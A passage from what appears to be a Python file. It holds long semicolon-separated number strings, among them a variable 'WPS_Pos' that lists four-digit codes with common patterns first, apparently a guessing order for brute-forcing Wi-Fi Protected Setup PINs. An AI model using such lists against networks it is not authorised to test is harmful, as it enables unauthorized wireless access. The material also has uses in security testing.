39;5364;4640;5363;4641;5362;4642;5361;4643;5360;4644;5359;4645;5358;4646;5357;4647;5356;4648;5355;4649;5354;4650;5353;4651;5352;4652;5351;4653;5350;4654;5349;4655;5348;4656;5347;4657;5346;4658;5345;4659;5344;4660;5343;4661;5342;4662;5341;4663;5340;4664;5339;4665;5338;4666;5337;4667;5336;4668;5335;4669;5334;4670;5333;4671;5332;4672;5331;4673;5330;4674;5329;4675;5328;4676;5327;4677;5326;4678;5325;4679;5324;4680;5323;4681;5322;4682;5321;4683;5320;4684;5319;4685;5318;4686;5317;4687;5316;4688;5315;4689;5314;4690;5313;4691;5312;4692;5311;4693;5310;4694;5309;4695;5308;4696;5307;4697;5306;4698;5305;4699;5304;4700;5303;4701;5302;4702;5301;4703;5300;4704;5299;4705;5298;4706;5297;4707;5296;4708;5295;4709;5294;4710;5293;4711;5292;4712;5291;4713;5290;4714;5289;4715;5288;4716;5287;4717;5286;4718;5285;4719;5284;4720;5283;4721;5282;4722;5281;4723;5280;4724;5279;4725;5278;4726;5277;4727;5276;4728;5275;4729;5274;4730;5273;4731;5272;4732;5271;4733;5270;4734;5269;4735;5268;4736;5267;4737;5266;4738;5265;4739;5264;4740;5263;4741;5262;4742;5261;4743;5260;4744;5259;4745;5258;4746;5257;4747;5256;4748;5255;4749;5254;4750;5253;4751;5252;4752;5251;4753;5250;4754;5249;4755;5248;4756;5247;4757;5246;4758;5245;4759;5244;4760;5243;4761;5242;4762;5241;4763;5240;4764;5239;4765;5238;4766;5237;4767;5236;4768;5235;4769;5234;4770;5233;4771;5232;4772;5231;4773;5230;4774;5229;4775;5228;4776;5227;4777;5226;4778;5225;4779;5224;4780;5223;4781;5222;4782;5221;4783;5220;4784;5219;4785;5218;4786;5217;4787;5216;4788;5215;4789;5214;4790;5213;4791;5212;4792;5211;4793;5210;4794;5209;4795;5208;4796;5207;4797;5206;4798;5205;4799;5204;4800;5203;4801;5202;4802;5201;4803;5200;4804;5199;4805;5198;4806;5197;4807;5196;4808;5195;4809;5194;4810;5193;4811;5192;4812;5191;4813;5190;4814;5189;4815;5188;4816;5187;4817;5186;4818;5185;4819;5184;4820;5183;4821;5182;4822;5181;4823;5180;4824;5179;4825;5178;4826;5177;4827;5176;4828;5175;4829;5174;4830;5173;4831;5172;4832;5171;4833;5170;4834;5169;4835;5168;4836;5167;4837;5166;4838;5165;4839;5164;4840;5163;4841;5162;4842;5161;4843;5160;4844;5159;4845;5158;4846;5157;4847;5156;4848;5155;4849;5154;4850;5153;4851;5152;4852;5151;4853;5150;4854;5149;4855;5148;4856;5147;4857;5146;4858;5145;4859;5144;4860;5143;4861;5142;4862;5141;4863;5140;4864;5139;4865;5138;4866;5137;4867;5136;4868;5135;4869;5134;4870;5133;4871;5132;4872;5131;4873;5130;4874;5129;4875;5128;4876;5127;4877;5126;4878;5125;4879;5124;4880;5123;4881;5122;4882;5121;4883;5120;4884;5119;4885;5118;4886;5117;4887;5116;4888;5115;4889;5114;4890;5113;4891;5112;4892;5111;4893;5110;4894;5109;4895;5108;4896;5107;4897;5106;4898;5105;4899;5104;4900;5103;4901;5102;4902;5101;4903;5100;4904;5099;4905;5098;4906;5097;4907;5096;4908;5095;4909;5094;4910;5093;4911;5092;4912;5091;4913;5090;4914;5089;4915;5088;4916;5087;4917;5086;4918;5085;4919;5084;4920;5083;4921;5082;4922;5081;4923;5080;4924;5079;4925;5078;4926;5077;4927;5076;4928;5075;4929;5074;4930;5073;4931;5072;4932;5071;4933;5070;4934;5069;4935;5068;4936;5067;4937;5066;4938;5065;4939;5064;4940;5063;4941;5062;4942;5061;4943;5060;4944;5059;4945;5058;4946;5057;4947;5056;4948;5055;4949;5054;4950;5053;4951;5052;4952;5051;4953;5050;4954;5049;4955;5048;4956;5047;4957;5046;4958;5045;4959;5044;4960;5043;4961;5042;4962;5041;4963;5040;4964;5039;4965;5038;4966;5037;4967;5036;4968;5035;4969;5034;4970;5033;4971;5032;4972;5031;4973;5030;4974;5029;4975;5028;4976;5027;4977;5026;4978;5025;4979;5024;4980;5023;4981;5022;4982;5021;4983;5020;4984;5019;4985;5018;4986;5017;4987;5016;4988;5015;4989;5014;4990;5013;4991;5012;4992;5011;4993;5010;4994;5009;4995;5008;4996;5007;4997;5006;4998;5005;4999;5004;5000;5003;5001;5002;567;000;222;333;444;555;598;666;777;888;999;001;998;002;997;003;996;004;995;005;994;006;993;007;992;008;991;009;990;010;989;011;988;012;987;013;986;014;985;015;984;016;983;017;982;018;981;019;980;020;979;021;978;022;977;023;976;024;975;025;974;026;973;027;972;028;971;029;970;030;969;031;968;032;967;033;966;034;965;035;964;036;963;037;962;038;961;039;960;040;959;041;958;042;957;043;956;044;955;045;954;046;953;047;952;048;951;049;950;050;949;051;948;052;947;053;946;054;945;055;944;056;943;057;942;058;941;059;940;060;939;061;938;062;937;063;936;064;935;065;934;066;933;067;932;068;931;069;930;070;929;071;928;072;927;073;926;074;925;075;924;076;923;077;922;078;921;079;920;080;919;081;918;082;917;083;916;084;915;085;914;086;913;087;912;088;911;089;910;090;909;091;908;092;907;093;906;094;905;095;904;096;903;097;902;098;901;099;900;100;899;101;898;102;897;103;896;104;895;105;894;106;893;107;892;108;891;109;890;110;889;111;887;112;886;113;885;114;884;115;883;116;882;117;881;118;880;119;879;120;878;121;877;122;876;123;875;124;874;125;873;126;872;127;871;128;870;129;869;130;868;131;867;132;866;133;865;134;864;135;863;136;862;137;861;138;860;139;859;140;858;141;857;142;856;143;855;144;854;145;853;146;852;147;851;148;850;149;849;150;848;151;847;152;846;153;845;154;844;155;843;156;842;157;841;158;840;159;839;160;838;161;837;162;836;163;835;164;834;165;833;166;832;167;831;168;830;169;829;170;828;171;827;172;826;173;825;174;824;175;823;176;822;177;821;178;820;179;819;180;818;181;817;182;816;183;815;184;814;185;813;186;812;187;811;188;810;189;809;190;808;191;807;192;806;193;805;194;804;195;803;196;802;197;801;198;800;199;799;200;798;201;797;202;796;203;795;204;794;205;793;206;792;207;791;208;790;209;789;210;788;211;787;212;786;213;785;214;784;215;783;216;782;217;781;218;780;219;779;220;778;221;776;223;775;224;774;225;773;226;772;227;771;228;770;229;769;230;768;231;767;232;766;233;765;234;764;235;763;236;762;237;761;238;760;239;759;240;758;241;757;242;756;243;755;244;754;245;753;246;752;247;751;248;750;249;749;250;748;251;747;252;746;253;745;254;744;255;743;256;742;257;741;258;740;259;739;260;738;261;737;262;736;263;735;264;734;265;733;266;732;267;731;268;730;269;729;270;728;271;727;272;726;273;725;274;724;275;723;276;722;277;721;278;720;279;719;280;718;281;717;282;716;283;715;284;714;285;713;286;712;287;711;288;710;289;709;290;708;291;707;292;706;293;705;294;704;295;703;296;702;297;701;298;700;299;699;300;698;301;697;302;696;303;695;304;694;305;693;306;692;307;691;308;690;309;689;310;688;311;687;312;686;313;685;314;684;315;683;316;682;317;681;318;680;319;679;320;678;321;677;322;676;323;675;324;674;325;673;326;672;327;671;328;670;329;669;330;668;331;667;332;665;334;664;335;663;336;662;337;661;338;660;339;659;340;658;341;657;342;656;343;655;344;654;345;653;346;652;347;651;348;650;349;649;350;648;351;647;352;646;353;645;354;644;355;643;356;642;357;641;358;640;359;639;360;638;361;637;362;636;363;635;364;634;365;633;366;632;367;631;368;630;369;629;370;628;371;627;372;626;373;625;374;624;375;623;376;622;377;621;378;620;379;619;380;618;381;617;382;616;383;615;384;614;385;613;386;612;387;611;388;610;389;609;390;608;391;607;392;606;393;605;394;604;395;603;396;602;397;601;398;600;399;599;400;401;597;402;596;403;595;404;594;405;593;406;592;407;591;408;590;409;589;410;588;411;587;412;586;413;585;414;584;415;583;416;582;417;581;418;580;419;579;420;578;421;577;422;576;423;575;424;574;425;573;426;572;427;571;428;570;429;569;430;568;431;566;432;565;433;564;434;563;435;562;436;561;437;560;438;559;439;558;440;557;441;556;442;554;443;553;445;552;446;551;447;550;448;549;449;548;450;547;451;546;452;545;453;544;454;543;455;542;456;541;457;540;458;539;459;538;460;537;461;536;462;535;463;534;464;533;465;532;466;531;467;530;468;529;469;528;470;527;471;526;472;525;473;524;474;523;475;522;476;521;477;520;478;519;479;518;480;517;481;516;482;515;483;514;484;513;485;512;486;511;487;510;488;509;489;508;490;507;491;506;492;505;493;504;494;503;495;502;496;501;497;500;498;499;"
__builtin__.WPS_Pos  ="0;0;0;1234;0000;0123;1111;2222;3333;4444;5555;6666;7777;8888;9999;0001;0002;0003;0004;0005;0006;0007;0008;0009;0010;0011;0012;0013;0014;0015;0016;0017;0018;0019;0020;0021;0022;0023;0024;0025;0026;0027;0028;0029;0030;0031;0032;0033;0034;0035;0036;0037;0038;0039;0040;0041;0042;0043;0044;0045;0046;0047;0048;0049;0050;0051;0052;0053;0054;0055;0056;0057;0058;0059;0060;0061;0062;0063;0064;0065;0066;0067;0068;0069;0070;0071;0072;0073;0074;0075;0076;0077;0078;0079;0080;0081;0082;0083;0084;0085;0086;0087;0088;0089;0090;0091;0092;0093;0094;0095;0096;0097;0098;0099;0100;0101;0102;0103;0104;0105;0106;0107;0108;0109;0110;0111;0112;0113;0114;0115;0116;0117;0118;0119;0120;0121;0122;0124;0125;0126;0127;0128;0129;0130;0131;0132;0133;0134;0135;0136;0137;0138;0139;0140;0141;0142;0143;0144;0145;0146;0147;0148;0149;0150;0151;0152;0153;0154;0155;0156;0157;0158;0159;0160;0161;0162;0163;0164;0165;0166;0167;0168;0169;0170;0171;0172;0173;0174;0175;0176;0177;0178;0179;0180;0181;0182;0183;0184;0185;0186;0187;0188;0189;0190;0191;0192;0193;0194;0195;0196;0197;0198;0199;0200;0201;0202;0203;0204;0205;0206;0207;0208;0209;0210;0211;0212;0213;0214;0215;0216;0217;0218;0219;0220;0221;0222;0223;0224;0225;0226;0227;0228;0229;0230;0231;0232;0233;0234;0235;0236;0237;0238;0239;0240;0241;0242;0243;0244;0245;0246;0247;0248;0249;0250;0251;0252;0253;0254;0255;0256;0257;0258;0259;0260;0261;0262;0263;0264;0265;0266;0267;0268;0269;0270;0271;0272;0273;0274;0275;0276;0277;0278;0279;0280;0281;0282;0283;0284;0285;0286;0287;0288;0289;0290;0291;0292;0293;0294;0295;0296;0297;0298;0299;0300;0301;0302;0303;0304;0305;0306;0307;0308;0309;0310;0311;0312;0313;0314;0315;0316;0317;0318;0319;0320;0321;0322;0323;0324;0325;0326;0327;0328;0329;0330;0331;0332;0333;0334;0335;0336;0337;0338;0339;0340;0341;0342;0343;0344;0345;0346;0347;0348;0349;0350;0351;0352;0353;0354;0355;0356;0357;0358;0359;0360;0361;0362;0363;0364;0365;0366;0367;0368;0369;0370;0371;0372;0373;0374;0375;0376;0377;0378;0379;0380;0381;0382;0383;0384;0385;0386;0387;0388;0389;0390;0391;0392;0393;0394;0395;0396;0397;0398;0399;0400;0401;0402;0403;0404;0405;0406;0407;0408;0409;0410;0411;0412;0413;0414;0415;0416;0417;0418;0419;0420;0421;0422;0423;0424;0425;0426;0427;0428;0429;0430;0431;0432;0433;0434;0435;0436;0437;0438;0439;0440;0441;0442;0443;0444;0445;0446;0447;0448;0449;0450;0451;0452;0453;0454;0455;0456;0457;0458;0459;0460;0461;0462;0463;0464;0465;0466;0467;0468;0469;0470;0471;0472;0473;0474;0475;0476;0477;0478;0479;0480;0481;0482;0483;0484;0485;0486;0487;0488;0489;0490;0491;0492;0493;0494;0495;0496;0497;0498;0499;0500;0501;0502;0503;0504;0505;0506;0507;0508;0509;0510;0511;0512;0513;0514;0515;0516;0517;0518;0519;0520;0521;0522;0523;0524;0525;0526;0527;0528;0529;0530;0531;0532;0533;0534;0535;0536;0537;0538;0539;0540;0541;0542;0543;0544;0545;0546;0547;0548;0549;0550;0551;0552;0553;0554;0555;0556;0557;0558;0559;0560;0561;0562;0563;0564;0565;0566;0567;0568;0569;0570;0571;0572;0573;0574;0575;0576;0577;0578;0579;0580;0581;0582;0583;0584;0585;0586;0587;0588;0589;0590;0591;0592;0593;0594;0595;0596;0597;0598;0599;0600;0601;0602;0603;0604;0605;0606;0607;0608;0609;0610;0611;0612;0613;0614;0615;0616;0617;0618;0619;0620;0621;0622;0623;0624;0625;0626;0627;0628;0629;0630;0631;0632;0633;0634;0635;0636;0637;0638;0639;0640;0641;0642;0643;0644;0645;0646;0647;0648;0649;0650;0651;0652;0653;0654;0655;0656;0657;0658;0659;0660;0661;0662;0663;0664;0665;0666;0667;0668;0669;0670;0671;0672;0673;0674;0675;0676;0677;0678;0679;0680;0681;0682;0683;0684;0685;0686;0687;0688;0689;0690;0691;0692;0693;0694;0695;0696;0697;0698;0699;0700;0701;0702;0703;0704;0705;0706;0707;0708;0709;0710;0711;0712;0713;0714;0715;0716;0717;0718;0719;0720;0721;0722;0723;0724;0725;0726;0727;0728;0729;0730;0731;0732;0733;0734;0735;0736;0737;0738;0739;0740;0741;0742;0743;0744;0745;0746;0747;0748;0749;0750;0751;0752;0753;0754;0755;0756;0757;0758;0759;0760;0761;0762;0763;0764;0765;0766;0767;0768;0769;0770;0771;0772;0773;0774;0775;0776;0777;0778;0779;0780;0781;0782;0783;0784;0785;0786;0787;0788;0789;0790;0791;0792;0793;0794;0795;0796;0797;0798;0799;0800;0801;0802;0803;0804;0805;0806;0807;0808;0809;0810;0811;0812;0813;0814;0815;0816;0817;0818;0819;0820;0821;0822;0823;0824;0825;0826;0827;0828;0829;0830;0831;0832;0833;0834;0835;0836;0837;0838;0839;0840;0841;0842;0843;0844;0845;0846;0847;0848;0849;0850;0851;0852;0853;0854;0855;0856;0857;0858;0859;0860;0861;0862;0863;0864;0865;0866;0867;0868;0869;0870;0871;0872;0873;0874;0875;0876;0877;0878;0879;0880;0881;0882;0883;0884;0885;0886;0887;0888;0889;0890;0891;0892;0893;0894;0895;0896;0897;0898;0899;0900;0901;0902;0903;0904;0905;0906;0907;0908;0909;0910;0911;0912;0913;0914;0915;0916;0917;0918;0919;0920;0921;0922;0923;0924;0925;0926;0927;0928;0929;0930;0931;0932;0933;0934;0935;0936;0937;0938;0939;0940;0941;0942;0943;0944;0945;0946;0947;0948;0949;0950;0951;0952;0953;0954;0955;0956;0957;0958;0959;0960;0961;0962;0963;0964;0965;0966;0967;0968;0969;0970;0971;0972;0973;0974;0975;0976;0977;0978;0979;0980;0981;0982;0983;0984;0985;0986;0987;0988;0989;0990;0991;0992;0993;0994;0995;0996;0997;0998;0999;1000;1001;1002;1003;1004;1005;1006;1007;1008;1009;1010;1011;1012;1013;1014;1015;1016;1017;1018;1019;1020;1021;1022;1023;1024;1025;1026;1027;1028;1029;1030;1031;1032;1033;1034;1035;1036;1037;1038;1039;1040;1041;1042;1043;1044;1045;1046;1047;1048;1049;1050;1051;1052;1053;1054;1055;1056;1057;1058;1059;1060;1061;1062;1063;1064;1065;1066;1067;1068;1069;1070;1071;1072;1073;1074;1075;1076;1077;1078;1079;1080;1081;1082;1083;1084;1085;1086;1087;1088;1089;1090;1091;1092;1093;1094;1095;1096;1097;1098;1099;1100;1101;1102;1103;1104;1105;1106;1107;1108;1109;1110;1112;1113;1114;1115;1116;1117;1118;1119;1120;1121;1122;1123;1124;1125;1126;1127;1128;1129;1130;1131;1132;1133;1134;1135;1136;1137;1138;1139;1140;1141;1142;1143;1144;1145;1146;1147;1148;1149;1150;1151;1152;1153;1154;1155;1156;1157;1158;1159;1160;1161;1162;1163;1164;1165;1166;1167;1168;1169;1170;1171;1172;1173;1174;1175;1176;1177;1178;1179;1180;1181;1182;1183;1184;1185;1186;1187;1188;1189;1190;1191;1192;1193;1194;1195;1196;1197;1198;1199;1200;1201;1202;1203;1204;1205;1206;1207;1208;1209;1210;1211;1212;1213;1214;1215;1216;1217;1218;1219;1220;1221;1222;1223;1224;1225;1226;1227;1228;1229;1230;1231;1232;1233;1235;1236;1237;1238;1239;1240;1241;1242;1243;1244;1245;1246;1247;1248;1249;1250;1251;1252;1253;1254;1255;1256;1257;1258;1259;1260;1261;1262;1263;1264;1265;1266;1267;1268;1269;1270;1271;1272;1273;1274;1275;1276;1277;1278;1279;1280;1281;1282;1283;1284;1285;1286;1287;1288;1289;1290;1291;1292;1293;1294;1295;1296;1297;1298;1299;1300;1301;1302;1303;1304;1305;1306;1307;1308;1309;1310;1311;1312;1313;1314;1315;1316;1317;1318;1319;1320;1321;1322;1323;1324;1325;1326;1327;1328;1329;1330;1331;1332;1333;1334;1335;1336;1337;1338;1339;1340;1341;1342;1343;1344;1345;1346;1347;1348;1349;1350;1351;1352;1353;1354;1355;1356;1357;1358;1359;1360;1361;1362;1363;1364;1365;1366;1367;1368;1369;1370;1371;1372;1373;1374;1375;1376;1377;1378;1379;1380;1381;1382;1383;1384;1385;1386;1387;1388;1389;1390;1391;1392;1393;1394;1395;1396;1397;1398;1399;1400;1401;1402;1403;1404;1405;1406;1407;1408;1409;1410;1411;1412;1413;1414;1415;1416;1417;1418;1419;1420;1421;1422;1423;1424;1425;1426;1427;1428;1429;1430;1431;1432;1433;1434;1435;1436;1437;1438;1439;1440;1441;1442;1443;1444;1445;1446;1447;1448;1449;1450;1451;1452;1453;1454;1455;1456;1457;1458;1459;1460;1461;1462;1463;1464;1465;1466;1467;1468;1469;1470;1471;1472;1473;1474;1475;1476;1477;1478;1479;1480;1481;1482;1483;1484;1485;1486;1487;1488;1489;1490;1491;1492;1493;1494;1495;1496;1497;1498;1499;1500;1501;1502;1503;1504;1505;1506;1507;1508;1509;1510;1511;1512;1513;1514;1515;1516;1517;1518;1519;1520;1521;1522;1523;1524;1525;1526;1527;1528;1529;1530;1531;1532;1533;1534;1535;1536;1537;1538;1539;1540;1541;1542;1543;1544;1545;1546;1547;1548;1549;1550;1551;1552;1553;1554;1555;1556;1557;1558;1559;1560;1561;1562;1563;1564;1565;1566;1567;1568;1569;1570;1571;1572;1573;1574;1575;1576;1577;1578;1579;1580;1581;1582;1583;1584;1585;1586;1587;1588;1589;1590;1591;1592;1593;1594;1595;1596;1597;1598;1599;1600;1601;1602;1603;1604;1605;1606;1607;1608;1609;1610;1611;1612;1613;1614;1615;1616;1617;1618;1619;1620;1621;1622;1623;1624;1625;1626;1627;1628;1629;1630;1631;1632;1633;1634;1635;1636;1637;1638;1639;1640;1641;1642;1643;1644;1645;1646;1647;1648;1649;1650;1651;1652;1653;1654;1655;1656;1657;1658;1659;1660;1661;1662;1663;1664;1665;1666;1667;1668;1669;1670;1671;1672;1673;1674;1675;1676;1677;1678;1679;1680;1681;1682;1683;1684;1685;1686;1687;1688;1689;1690;1691;1692;1693;1694;1695;1696;1697;1698;1699;1700;1701;1702;1703;1704;1705;1706;1707;1708;1709;1710;1711;1712;1713;1714;1715;1716;1717;1718;1719;1720;1721;1722;1723;1724;1725;1726;1727;1728;1729;1730;1731;1732;1733;1734;1735;1736;1737;1738;1739;1740;1741;1742;1743;1744;1745;1746;1747;1748;1749;1750;1751;1752;1753;1754;1755;1756;1757;1758;1759;1760;1761;1762;1763;1764;1765;1766;1767;1768;1769;1770;1771;1772;1773;1774;1775;1776;1777;1778;1779;1780;1781;1782;1783;1784;1785;1786;1787;1788;1789;1790;1791;1792;1793;1794;1795;1796;1797;1798;1799;1800;1801;1802;1803;1804;1805;1806;1807;1808;1809;1810;1811;1812;1813;1814;1815;1816;1817;1818;1819;1820;1821;1822;1823;1824;1825;1826;1827;1828;1829;1830;1831;1832;1833;1834;1835;1836;1837;1838;1839;1840;1841;1842;1843;1844;1845;1846;1847;1848;1849;1850;1851;1852;1853;1854;1855;1856;1857;1858;1859;1860;1861;1862;1863;1864;1865;1866;1867;1868;1869;1870;1871;1872;1873;1874;1875;1876;1877;1878;1879;1880;1881;1882;1883;1884;1885;1886;1887;1888;1889;1890;1891;1892;1893;1894;1895;1896;1897;1898;1899;1900;1901;1902;1903;1904;1905;1906;1907;1908;1909;1910;1911;1912;1913;1914;1915;1916;1917;1918;1919;1920;1921;1922;1923;1924;1925;1926;1927;1928;1929;1930;1931;1932;1933;1934;1935;1936;1937;1938;1939;1940;1941;1942;1943;1944;1945;1946;1947;1948;1949;1950;1951;1952;1953;1954;1955;1956;1957;1958;1959;1960;1961;1962;1963;1964;1965;1966;1967;1968;1969;1970;1971;1972;1973;1974;1975;1976;1977;1978;1979;1980;1981;1982;1983;1984;1985;1986;1987;1988;1989;1990;1991;1992;1993;1994;1995;1996;1997;1998;1999;2000;2001;2002;2003;2004;2005;2006;2007;2008;2009;2010;2011;2012;2013;2014;2015;2016;2017;2018;2019;2020;2021;2022;2023;2024;2025;2026;2027;2028;2029;2030;2031;2032;2033;2034;2035;2036;2037;2038;2039;2040;2041;2042;2043;2044;2045;2046;2047;2048;2049;2050;2051;2052;2053;2054;2055;2056;2057;2058;2059;2060;2061;2062;2063;2064;2065;2066;2067;2068;2069;2070;2071;2072;2073;2074;2075;2076;2077;2078;2079;2080;2081;2082;2083;2084;2085;2086;2087;2088;2089;2090;2091;2092;2093;2094;2095;2096;2097;2098;2099;2100;2101;2102;2103;2104;2105;2106;2107;2108;2109;2110;2111;2112;2113;2114;2115;2116;2117;2118;2119;2120;2121;2122;2123;2124;2125;2126;2127;2128;2129;2130;2131;2132;2133;2134;2135;2136;2137;2138;2139;2140;2141;2142;2143;2144;2145;2146;2147;2148;2149;2150;2151;2152;2153;2154;2155;2156;2157;2158;2159;2160;2161;2162;2163;2164;2165;2166;2167;2168;2169;2170;2171;2172;2173;2174;2175;2176;2177;2178;2179;2180;2181;2182;2183;2184;2185;2186;2187;2188;2189;2190;2191;2192;2193;2194;2195;2196;2197;2198;2199;2200;2201;2202;2203;2204;2205;2206;2207;2208;2209;2210;2211;2212;2213;2214;2215;2216;2217;2218;2219;2220;2221;2223;2224;2225;2226;2227;2228;2229;2230;2231;2232;2233;2234;2235;2236;2237;2238;2239;2240;2241;2242;2243;2244;2245;2246;2247;2248;2249;2250;2251;2252;2253;2254;2255;2256;2257;2258;2259;2260;2261;2262;2263;2264;2265;2266;2267;2268;2269;2270;2271;2272;2273;2274;2275;2276;2277;2278;2279;2280;2281;2282;2283;2284;2285;2286;2287;2288;2289;2290;2291;2292;2293;2294;2295;2296;2297;2298;2299;2300;2301;2302;2303;2304;2305;2306;2307;2308;2309;2310;2311;2312;2313;2314;2315;2316;2317;2318;2319;2320;2321;2322;2323;2324;2325;2326;2327;2328;2329;2330;2331;2332;2333;2334;2335;2336;2337;2338;2339;2340;2341;2342;2343;2344;2345;2346;2347;2348;2349;2350;2351;2352;2353;2354;2355;2356;2357;2358;2359;2360;2361;2362;2363;2364;2365;2366;2367;2368;2369;2370;2371;2372;2373;2374;2375;2376;2377;2378;2379;2380;2381;2382;2383;2384;2385;2386;2387;2388;2389;2390;2391;2392;2393;2394;2395;2396;2397;2398;2399;2400;2401;2402;2403;2404;2405;2406;2407;2408;2409;2410;2411;2412;2413;2414;2415;2416;2417;2418;2419;2420;2421;2422;2423;2424;2425;2426;2427;2428;2429;2430;2431;2432;2433;2434;2435;2436;2437;2438;2439;2440;2441;2442;2443;2444;2445;2446;2447;2448;2449;2450;2451;2452;2453;2454;2455;2456;2457;2458;2459;2460;2461;2462;2463;2464;2465;2466;2467;2468;2469;2470;2471;2472;2473;2474;2475;2476;2477;2478;2479;2480;2481;2482;2483;2484;2485;2486;2487;2488;2489;2490;2491;2492;2493;2494;2495;2496;2497;2498;2499;2500;2501;2502;2503;2504;2505;2506;2507;2508;2509;2510;2511;2512;2513;2514;2515;2516;2517;2518;2519;2520;2521;2522;2523;2524;2525;2526;2527;2528;2529;2530;2531;2532;2533;2534;2535;2536;2537;2538;2539;2540;2541;2542;2543;2544;2545;2546;2547;2548;2549;2550;2551;2552;2553;2554;2555;2556;2557;2558;2559;2560;2561;2562;2563;2564;2565;2566;2567;2568;2569;2570;2571;2572;2573;2574;2575;2576;2577;2578;2579;2580;2581;2582;2583;2584;2585;2586;2587;2588;2589;2590;2591;2592;2593;2594;2595;2596;2597;2598;2599;2600;2601;2602;2603;2604;2605;2606;2607;2608;2609;2610;2611;2612;2613;2614;2615;2616;2617;2618;2619;2620;2621;2622;2623;2624;2625;2626;2627;2628;2629;2630;2631;2632;2633;2634;2635;2636;2637;2638;2639;2640;2641;2642;2643;2644;2645;2646;2647;2648;2649;2650;2651;2652;2653;2654;2655;2656;2657;2658;2659;2660;2661;2662;2663;2664;2665;2666;2667;2668;2669;2670;2671;2672;2673;2674;2675;2676;2677;2678;2679;2680;2681;2682;2683;2684;2685;2686;2687;2688;2689;2690;2691;2692;2693;2694;2695;2696;2697;2698;2699;2700;2701;2702;2703;2704;2705;2706;2707;2708;2709;2710;2711;2712;2713;2714;2715;2716;2717;2718;2719;2720;2721;2722;2723;2724;2725;2726;2727;2728;2729;2730;2731;2732;2733;2734;2735;2736;2737;2738;2739;2740;2741;2742;2743;2744;2745;2746;2747;2748;2749;2750;2751;2752;2753;2754;2755;2756;2757;2758;2759;2760;2761;2762;2763;2764;2765;2766;2767;2768;2769;2770;2771;2772;2773;2774;2775;2776;2777;2778;2779;2780;2781;2782;2783;2784;2785;2786;2787;2788;2789;2790;2791;2792;2793;2794;2795;2796;2797;2798;2799;2800;2801;2802;2803;2804;2805;2806;2807;2808;2809;2810;2811;2812;2813;2814;2815;2816;2817;2818;2819;2820;2821;2822;2823;2824;2825;2826;2827;2828;2829;2830;2831;2832;2833;2834;2835;2836;2837;2838;2839;2840;2841;2842;2843;2844;2845;2846;2847;2848;2849;2850;2851;2852;2853;2854;2855;2856;2857;2858;2859;2860;2861;2862;2863;2864;2865;2866;2867;2868;2869;2870;2871;2872;2873;2874;2875;2876;2877;2878;2879;2880;2881;2882;2883;2884;2885;2886;2887;2888;2889;2890;2891;2892;2893;2894;2895;2896;2897;2898;2899;2900;2901;2902;2903;2904;2905;2906;2907;2908;2909;2910;2911;2912;2913;2914;2915;2916;2917;2918;2919;2920;2921;2922;2923;2924;2925;2926;2927;2928;2929;2930;2931;2932;2933;2934;2935;2936;2937;2938;2939;2940;2941;2942;2943;2944;2945;2946;2947;2948;2949;2950;2951;2952;2953;2954;2955;2956;2957;2958;2959;2960;2961;2962;2963;2964;2965;2966;2967;2968;2969;2970;2971;2972;2973;2974;2975;2976;2977;2978;2979;2980;2981;2982;2983;2984;2985;2986;2987;2988;2989;2990;2991;2992;2993;2994;2995;2996;2997;2998;2999;3000;3001;3002;3003;3004;3005;3006;3007;3008;3009;3010;3011;3012;3013;3014;3015;3016;3017;3018;3019;3020;3021;3022;3023;3024;3025;3026;3027;3028;3029;3030;3031;3032;3033;3034;3035;3036;3037;3038;3039;3040;3041;3042;3043;3044;3045;3046;3047;3048;3049;3050;3051;3052;3053;3054;3055;3056;3057;3058;3059;3060;3061;3062;3063;3064;3065;3066;3067;3068;3069;3070;3071;3072;3073;3074;3075;3076;3077;3078;3079;3080;3081;3082;3083;3084;3085;3086;3087;3088;3089;3090;3091;3092;3093;3094;3095;3096;3097;3098;3099;3100;3101;3102;3103;3104;3105;3106;3107;3108;3109;3110;3111;3112;3113;3114;3115;3116;3117;3118;3119;3120;3121;3122;3123;3124;3125;3126;3127;3128;3129;3130;3131;3132;3133;3134;3135;3136;3137;3138;3139;3140;3141;3142;3143;3144;3145;3146;3147;3148;3149;3150;3151;3152;3153;3154;3155;3156;3157;3158;3159;3160;3161;3162;3163;3164;3165;3166;3167;3168;3169;3170;3171;3172;3173;3174;3175;3176;3177;3178;3179;3180;3181;3182;3183;3184;3185;3186;3187;3188;3189;3190;3191;3192;3193;3194;3195;3196;3197;3198;3199;3200;3201;3202;3203;3204;3205;3206;3207;3208;3209;3210;3211;3212;3213;3214;3215;3216;3217;3218;3219;3220;3221;3222;3223;3224;3225;3226;3227;3228;3229;3230;3231;3232;3233;3234;3235;3236;3237;3238;3239;3240;3241;3242;3243;3244;3245;3246;3247;3248;3249;3250;3251;3252;3253;3254;3255;3256;3257;3258;3259;3260;3261;3262;3263;3264;3265;3266;3267;3268;3269;3270;3271;3272;3273;3274;3275;3276;3277;3278;3279;3280;3281;3282;3283;3284;3285;3286;3287;3288;3289;3290;3291;3292;3293;3294;3295;3296;3297;3298;3299;3300;3301;3302;3303;3304;3305;3306;3307;3308;3309;3310;3311;3312;3313;3314;3315;3316;3317;3318;3319;3320;3321;3322;3323;3324;3325;3326;3327;3328;3329;3330;3331;3332;3334;3335;3336;3337;3338;3339;3340;3341;3342;3343;3344;3345;3346;3347;3348;3349;3350;3351;3352;3353;3354;3355;3356;3357;3358;3359;3360;3361;3362;3363;3364;3365;3366;3367;3368;3369;3370;3371;3372;3373;3374;3375;3376;3377;3378;3379;3380;3381;3382;3383;3384;3385;3386;3387;3388;3389;3390;3391;3392;3393;3394;3395;3396;3397;3398;3399;3400;3401;3402;3403;3404;3405;3406;3407;3408;3409;3410;3411;3412;3413;3414;3415;3416;3417;3418;3419;3420;3421;3422;3423;3424;3425;3426;3427;3428;3429;3430;3431;3432;3433;3434;3435;3436;3437;3438;3439;3440;3441;3442;3443;3444;3445;3446;3447;3448;3449;3450;3451;3452;3453;3454;3455;3456;3457;3458;3459;3460;3461;3462;3463;3464;3465;3466;3467;3468;3469;3470;3471;3472;3473;3474;3475;3476;3477;3478;3479;3480;3481;3482;3483;3484;3485;3486;3487;3488;3489;3490;3491;3492;3493;3494;3495;3496;3497;3498;3499;3500;3501;3502;3503;3504;3505;3506;3507;3508;3509;3510;3511;3512;3513;3514;3515;3516;3517;3518;3519;3520;3521;3522;3523;3524;3525;3526;3527;3528;3529;3530;3531;3532;3533;3534;3535;3536;3537;3538;3539;3540;3541;3542;3543;3544;3545;3546;3547;3548;3549;3550;3551;3552;3553;3554;3555;3556;3557;3558;3559;3560;3561;3562;3563;3564;3565;3566;3567;3568;3569;3570;3571;3572;3573;3574;3575;3576;3577;3578;3579;3580;3581;3582;3583;3584;3585;3586;3587;3588;3589;3590;3591;3592;3593